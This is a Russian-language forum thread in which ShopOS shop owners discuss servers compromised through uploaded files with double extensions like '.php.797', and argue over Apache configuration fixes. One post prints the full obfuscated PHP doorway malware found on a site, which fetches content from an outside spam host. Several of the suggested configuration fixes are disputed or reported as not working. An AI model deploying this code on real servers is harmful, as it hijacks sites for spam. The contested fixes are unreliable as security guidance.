Категории

Уязвимость сайта с php

Просматривая данные о проиндексированных Яндексом страницах своего сайта на shopos обнаружил, что появилось большое количество страниц в разделе мойсайт/draft/ перешел по одной из ссылок и нашел там сборник рефератов и кучи всякого скачиваемого софта.
начал рыть откуда пришло...
оказывается если я правильно понял в папку с картинками кто-то залил файлик и вызывал его командой:
POST /images/a10042d.php.797
судя по всему этот скрипт создал на сервере в папке сайта папку draft, а в ней кучу html страниц и свой robot.txt.

Получается что кто угодно может запустить свой скрипт и сделать практически все что угодно с магазином.

Подскажите как перекрыть доступ к таким шалостям?

кто-то залил файлик

Каким образом?

Такое бывает.
Потрите все лишние файлы и поменяйте пароли на FTP, да и вообще все от доступа.

Сегодня с ужосом обнаружил такую же хрень у себя на сайте в папке media файл наз-ся index.php вот его код в based64
Я думаю это массовая волна взлома, т.к сайт я запустил не давно так что ребята проверяем все у себя свои индексованные странице в гугле и яндексе и ищем что могло попасть не ваше.. ужс

<? $GLOBALS['_790060592_']=Array(base64_decode('Y3V' .'ybF9' .'pbml0'),base64_decode('' .'Y3' .'VybF' .'9' .'zZXRvcH' .'Q='),base64_decode('Y3VybF9' .'z' .'ZXRvcHQ='),base64_decode('' .'Y' .'3Vyb' .'F' .'9l' .'eGVj'),base64_decode('Y3' .'Vyb' .'F9j' .'bG' .'9zZQ=' .'='),base64_decode('' .'c3Ryc3Ry'),base64_decode('aGVhZGVy'),base64_decode('c3Ryc' .'3Ry'),base64_decode('aGVhZGVy'),base64_decode('c3Ryc' .'3R' .'y'),base64_decode('c3Ry' .'c3Ry'),base64_decode('a' .'GVhZGVy'),base64_decode('c3' .'Ry' .'c3R' .'y'),base64_decode('aGVh' .'ZGVy'),base64_decode('aG' .'VhZGV' .'y')); ?><? function _666187857($i){$a=Array('aWQ=','aHR0cDovL2dvLXRvby1zb2Z0LmluZm8vZG9vci9hbnRpa29ycy5ydS8=','LmNzcw==','Q29udGVudC1UeXBlOiB0ZXh0L2NzczsgY2hhcnNldD13aW5kb3dzLTEyNTE=','LnBuZw==','Q29udGVudC1UeXBlOiBpbWFnZS9wbmc=','LmpwZw==','LmpwZWc=','Q29udGVudC1UeXBlOiBpbWFnZS9qcGVn','LmdpZg==','Q29udGVudC1UeXBlOiBpbWFnZS9naWY=','Q29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUx');return base64_decode($a);} ?><? $_0=$_REQUEST;$_1=$GLOBALS['_790060592_']();$_2=_666187857(1) .$_0;$GLOBALS['_790060592_']($_1,CURLOPT_URL,$_2);$GLOBALS['_790060592_']($_1,CURLOPT_RETURNTRANSFER,round(0+0.5+0.5));$_3=$GLOBALS['_790060592_']($_1);$GLOBALS['_790060592_']($_1);if($GLOBALS['_790060592_']($_0,_666187857(2))){$GLOBALS['_790060592_'](_666187857(3));}elseif($GLOBALS['_790060592_']($_0,_666187857(4))){$GLOBALS['_790060592_'](_666187857(5));}elseif($GLOBALS['_790060592_']($_0,_666187857(6))|| $GLOBALS['_790060592_']($_0,_666187857(7))){$GLOBALS['_790060592_'](_666187857(8));}elseif($GLOBALS['_790060592_']($_0,_666187857(9))){$GLOBALS['_790060592_'](_666187857(10));}else{$GLOBALS['_790060592_'](_666187857(11));}echo $_3; ?>

p.s а доступ мы могли предоставить только по одному варианту (100%) через парсер картинок который добровольно выложили

Нашел у клиента в папке images файл a10203d.php.26800
Правда старый по дате.
тело _http://narod.ru/disk/33567790001/a10203d.php.26800.txt.html

файлы потер... пароли вроде нигде не светил...

по фтп доступ есть только к другому сайту, на этом сайте работаю только через админку по фтп доступ закрыт.

может как-то права пользователю www-data поменять?
подскажите какие права должны быть по умолчанию?
и в какие папки нужно дать расширенные - чтоб заказ можно было оформить?

Заранее спасибо!

Нашел у клиента в папке images файл a10203d.php.26800
Правда старый по дате.
тело _http://narod.ru/disk/33567790001/a10203d.php.26800.txt.html

Та же фигня, с хостера пришло письмо,что на свите обнаружен вирус!

Такая же фигня!

Мой сайт тоже ломали. Чувак при мне залил на мой серв этот файл за считанные секунды...
Ну как полагается я написал админу сего проекта. Что я в ответ услышал так это что я идиот и что мой сервер криво работает и интерпретирует файлы с окончанием не php!

В итоге оказались уязвимы все сайты с данным движком!

Доступа по фтп у меня нету, только по ссш. Но там 15 символьный код (вероятность взлома можете сами подсчитать).

Так-что продолжаем молится шоб сайт или сервер не разнесли в пух и прах!

Друзья, а как так получается, что файлы без расширения PHP, интерпретируются на вашем сервере как скрипты?
Крайне советую проверить корректность настройки вашего веб-сервера.
Для апача разумно сделать следующее:

<FilesMatch \.php$>
AddHandler php5-script .php
AddType text/html .php
</FilesMatch>

Для апача разумно сделать следующее:

<FilesMatch \.php$>
AddHandler php5-script .php
AddType text/html .php
</FilesMatch>

С какой целью это делать?

Во-первых, в ShopOs в файле .htaccess ничего подобного нет, и кажется, никогда не было. И много лет все прекрасно работает. Видимо, потому, что практически все сервера сами прекрасно правильным образом интерпретируют файлы PHP.

Во-вторых, если файлы с расширением .ttt сервер трактует как скрипты, то указанные директивы эту ситуацию никак не изменят.

В-третьих, вторая из указанных двух директив вообще приводит к тому, что сервер показывает коды файлов PHP в браузере. Это вообще полная катастрофа! К счастью, первая директива это действие изменяет. Так что указанное действие не только НЕ разумно, но и просто потенциально опасно.

<FilesMatch \.php$>
AddHandler php5-script .php
AddType text/html .php
</FilesMatch>

Зто банальная ошибка сервера. Причем это тока на веб серверах апачт работает!

Могу сказать тока одно что ребят это действительно опасно. Это некие инструменты для взлома. Тоже появлялись некие файлы в папке images и разных. Удалял их, снова появлялись. В итоге потом в выходной день наблюдал SQL запросы(иньекции) после чего человек получает полный доступ к Вашему сайту в частности к админке и файлам на сервере. В итоге может скачать файлы изменить их, посмотреть заказы и.т.д.
Пришлось сносить систему и востанавливать из бэкапа, очень обидно что ошибка действительно существует и разумного решения не вижу.

Узнали что-то после наблюдений за инъекциями?

Мне как-то тоже пришлось понаблюдать за инъекциями, хакер делал упор на плагин параметров. Результаты наблюдения - нулевые.

Это не SQL инъекция! Это php инъекция.

Дыры обнаружить, видимо, Вам не удалось?

Уважаемый клоновод, вы по-русски понимаете? Если ваш веб-сервер интерпретирует файлы БЕЗ РАСШИРЕНИЯ PHP, КАК PHP СКРИПТЫ, то проблема находится в РАМКАХ ВАШЕГО ВЕБ-СЕРВЕРА, а следовательно любое программное решение имеющее функционал аплоада файлов будет потенциально опасно.

Приведенный код, будет решать проблему некорректной настройки апача.

Уважаемый евгений не могли бы вы привести пример куда вписать этот код (p.s <FilesMatch \.php$>
AddHandler php5-script .php
AddType text/html .php
</FilesMatch>)

Конечно.
/etc/httpd/conf.d/php.conf

Можете пояснить, как приведенный код эту проблему будет решать? Насколько я понимаю, приведенный код изменит настройки работы сервера с файлами, имеющими расширение php. А на работу с остальными он никак не повлияет.

Конечно.
/etc/httpd/conf.d/php.conf

У меня нету в ips манагере этого можно поточнее где он должен лежать?

Поясняю. Указанный код НЕ будет интерпретировать как PHP скрипты, имена файлов abc.php.7568, test.php.jpg и т.п.
Но будет верно интерпретировать файлы abc.php и test.php.

У меня нету в ips манагере этого можно поточнее где он должен лежать?

Если есть доступ к SSH, то выполните команду $ whereis httpd, она покажет, где лежит апач, там же будет файл настроек.

Поясняю. Указанный код НЕ будет интерпретировать как PHP скрипты, имена файлов abc.php.7568, test.php.jpg и т.п.

Это все, конечно, хорошо и правильно, но проблема-то изначально была другая, а именно:

Ну как полагается я написал админу сего проекта. Что я в ответ услышал так это что я идиот и что мой сервер криво работает и интерпретирует файлы с окончанием не php!

А указанный код снимает проблемы для файлов вида test.php.jpg, но не снимает ее для файлов вида test.jpg
То есть толку от такой настройки не слишком много.

И вообще, за много лет не встречал хостинг, который бы неверно интерпретировал файлы test.php.jpg
Скорее всего, проблема у пользователя была в особых настройках отдельной папки, сделанной вирусом через файл .htaccess. А указанный код индивидуальные настройки папки никак не отменит.

И вообще, за много лет не встречал хостинг, который бы неверно интерпретировал файлы test.php.jpg
Скорее всего, проблема у пользователя была в особых настройках отдельной папки, сделанной вирусом через файл .htaccess.

Это весьма стандартная проблема, не надо строить нелепых догадок.
Проблема в том, что некоторое версии apache+php настроены таким образом (по-умолчанию), что они интерпретируют файлы с именами вида "*.php*" как PHP файлы:

AddHandler php5-script .php
AddType text/html .php

Такая проблема обычно встречается на выделенных серверах или VPS, где пользователи самостоятельно ставят и настраивают веб-сервер. Решение этой проблемы я уже указал.

Такую же хрень обнаружил а папке Langs/ru/config неделю назад...кстати сайт на joomla тоже нашпиговали этой гадостью...

Проблема в том, что некоторое версии apache+php настроены таким образом (по-умолчанию), что они интерпретируют файлы с именами вида "*.php*" как PHP файлы:

А можете привести парочку примеров версий apache+php, которые настроены таким образом по-умолчанию?
И пару примеров более-менее используемых хостингов, где так настроено по умолчанию?

Да, есть, оказывается, такая проблема. И во многих местах.
Например, на спейсвэбе, мастерхосте.

Пробую исправить. Записываю папку из двух файлов. Один - .htaccess с предложенными в качестве решения двумя директивами. Другой - файл 1.php.1 - c одним оператором PHP. Вызываю в браузере http://domain/t/1.php.1 - выдает результат выполнения кода PHP. Что делаю не так?

Файлы в приложении.

Такую же хрень обнаружил а папке Langs/ru/config неделю назад...кстати сайт на joomla тоже нашпиговали этой гадостью...

И на joomlе тоже есть уязвимость. тока не на всех версиях :)

korshunov эти конфиг строки нужно не в хтасец сувать!!

Нет, эти директивы должны и в .htaccess работать так же.
http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addhandler
http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addtype

korshunov может тебе хост не позваляет. Или у тебя собственный сервер?

Пробовал на мастерхосте.

Пробовал и локально, вставлял указанные директивы именно в httpd.conf, никакой реакции, http://localhost/1.php.1 работает как PHP скрипт.
Сервер после изменений перезапускал.
Использую WampServer2.1e-x32.

Ну это косяк апача. Ибо в конфиге не прописывается запрет на то что после .php еще будет окончание, а просто указывается что файлы имеющие расширение .php должны интерпретироваться!
Сервер думает что файл 1.php.1 имеющий в названии ".php" и есть скрипт!

Это все ясно с самого начала.
Вопрос-то в другом. В том, что указанные ранее две директивы заявлены как исправление этого недостатка, а на самом деле они у меня ничего не исправляют.

у меня указанные Евгением директивы тоже не сняли проблему...

вот здесь:
http://ru.php.net/manual/en/install.unix.apache2.php

предлагается еще такой вариант:
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

но у меня он тоже не сработал (

Вообще-то есть куда более простое решение...

Какое..

Именно это я и пытался вам втолковать с самого начала, в том числе и в личной переписке, но ничего кроме желчи в ответ не получал :(

Я привел пример директив, которые удачно используются на сервере ShopOS - http://shopos.ru/test.php.1
Почему это не работает лично у вас - не знаю. Попробуйте погуглить, может найдет более приемлемое для себя решение.

Хотелось бы получать ответы более серьезные, нежели "а у меня работает". Проверить все детали работы Вашего сервера у остальных возможности нет.

1. Многие используют для разработки Денвер. Можете сказать точно, как это сделать на Денвере? Указанного Вами файла там НЕТ вообще. Я пробовал вставить указанные директивы в файл httpd.conf, никакого эффекта.

2. Непонятно вообще в принципе, как указанные директивы могут решать поставленный вопрос. Ведь они относятся ТОЛЬКО к файлам, оканчивающимся на .php, и на работу с файлами вида test.php.1 никакого влияния не оказывают.

ура!!!
нашел решение для своего сайта:

Шаг 1) основная настройка виртуального хоста для сайта интернет магазина (apache2/sites-available/)-

<Directory /путь/к/папке/магазина/>
Options -Indexes FollowSymLinks MultiViews
#было AllowOverride None
#стало
AllowOverride All
#дальше без изменений
Order allow,deny
allow from all
</Directory>
эта директива разрешила обработку файлов .htaccess в папках сайта, до изменения директивы в этих файлах игнорировались

Шаг 2) в файле .htaccess в корневом каталоге сайта исправил путь у директивы
RewriteBase / #раньше был указан полный путь к папке сайта

Шаг 3) в файле .htaccess в папке images добавил директивы, которые должны запретить запуск исполняемых файлов, вне зависимости от их расширения:

RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp

директива, которая была в родном файле запрещала только доступ к файлам с расширением php, но разрешала работать файлам *.php.* и всем остальным если внутри лежит исполняемый код.

ЗЫ:
кстати сегодня обнаружил, что на сайт до внесения указанных изменений, в папку images залили новый файлик d.php.01 дата изменения стоит июль 2011, а внутри код похожий на то что было в предыдущем файле, который и вызвал причину моих ковыряний...

Может кто подскажет, как ограничить возможность заливки новых файлов, чтобы только админ мог это делать?
например сделать отсев по IP или пользователю?

Naddan

Может кто подскажет, как ограничить возможность заливки новых файлов, чтобы только админ мог это делать?
например сделать отсев по IP или пользователю?

Это не получится.
Файлы можно залить туда где есть права 777.

Мне тоже много чего хотелось бы...

Если хотите получать более точные ответы (а ровно как и объяснения или консультации по принципам работы регулярных выражений или директив апача), то пользуйтесь гуглом или воспользуйтесь специализированными форумами по настройке Apache.

http://core.trac.wordpress.org/ticket/11122
http://www.acunetix.com/websitesecurity/upload-forms-threat.htm

Case 4: Double extensions (part 1)

This case’s security measures, as a concept are very similar to that one used in case 3. Though instead of simply checking the extension string present in the filename, the developer is extracting the file extension by looking for the ‘.’ character in the filename, and extracting the string after the dot character.

The method used to bypass this approach is a bit more complicated, but still realistic. First, let’s have a look at how Apache handles files with multiple extensions. A quote from the Apache manual states:

“Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given which maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.”

Therefore a file named ‘filename.php.123’, will be interpreted as a PHP file and will be executed. This only works if the last extension (in our case .123), is not specified in the list of mime-types known to the web server. Web developers, usually are not aware of such ‘feature’ in Apache, which can be very dangerous for a number of reasons. Knowing this, an attacker can upload a file named shell.php.123 and bypass the file upload form protection. The script will compute the last extension (.123), and concludes that this extension is not in the list of dangerous extension. Having said that, it is impossible to predict all the possible random extensions a malicious user will use to be able to upload a file on your web server.

Вопрос можно? Как после этих атак убрать запросы в яндексе а то я так понимаю я страницы удалил а яндекс еще помнит что у меня они были все sitemap.xml обновил.

Вы о чем? О том, что сайт помечен в поиске, как угрожающий безопасности?
Если да, то на сервисе яндекс.вебмастер, в настройках сайта, есть вкладка безопасность. Через нее можно решить этот вопрос.

Если речь, о том, как убрать эти страницы из индекса, то стоит удалить страницы и ждать. Можно также отключить их индексацию (данных страниц) через robots.txt.

Мне тоже много чего хотелось бы...

Я не думаю, что поставленные два вопроса относятся к разрядку очень трудоемких. По крайней мере п.2 - совсем несложный.
Назвался груздем - полезай в кузов! Вы по своей инициативе начали ответ на вопрос, придумали средство спасения, а теперь увиливаете от ответа на простой вопрос.

Если хотите получать более точные ответы (а ровно как и объяснения или консультации по принципам работы регулярных выражений или директив апача), то пользуйтесь гуглом или воспользуйтесь специализированными форумами по настройке Apache.

Спасибо за совет! Однако по самому вопросу (п.2) Вы могли бы догадаться, что я читал документацию по Apache. Именно из того, что там написано, я и сделал вывод, что предлагаемая Вами решение
<FilesMatch \.php$>
AddHandler php5-script .php
AddType text/html .php
</FilesMatch>
в принципе не может решить проблему, так как оно НЕ ЗАТРАГИВАЕТ работу с файлами вида test.php.1 Поскольку регулярное выражение \.php$ ограничивает область действия предложенных директив так, что они не окажут влияния на обработку файлов вида test.php.1

А вопрос (п.2) задан конкретный по Вашим конкретным четырем строчкам. Если не можете (не хотите) ответить по существу, не отвечайте. Хотя бы не приводите длинные цитаты, которые повторяют сказанное Вами ранее и к вопросу имеют слабое отношение.
В Вашей длинной цитате описывается ПРОБЛЕМА, а я вопрос задаю по предложенному Вами РЕШЕНИЮ.
Проблему (с файлами test.php.1 ) описывать не стоит, это выяснили несколькими постами ранее.
Хоть что-нибудь скажите конкретно, не прячьтесь за длинными цитатами.

Да не во вреданосные он не попал, устраницы удалил жду апа .. просто последний был 6 числа странно как то ))

У кого 6-го, у меня вот встретилось такое в ночь с 12 на 13 декабря. Может, раз в неделю активизируется?

А вопрос (п.2) задан конкретный по Вашим конкретным четырем строчкам. Если не можете (не хотите) ответить по существу, не отвечайте. Хотя бы не приводите длинные цитаты, которые повторяют сказанное Вами ранее и к вопросу имеют слабое отношение.
В Вашей длинной цитате описывается ПРОБЛЕМА, а я вопрос задаю по предложенному Вами РЕШЕНИЮ.
Проблему (с файлами test.php.1 ) описывать не стоит, это выяснили несколькими постами ранее.
Хоть что-нибудь скажите конкретно, не прячьтесь за длинными цитатами.

Вы не понимаете русский язык? Описана проблема, описано ее решение. Если у вас не работает, то гугл в помощь.
Парадигму ее возникновения я обсуждать не хочу, это вам к разработчикам апача. Обсуждать здесь больше нечего. Тема закрыта.

Источник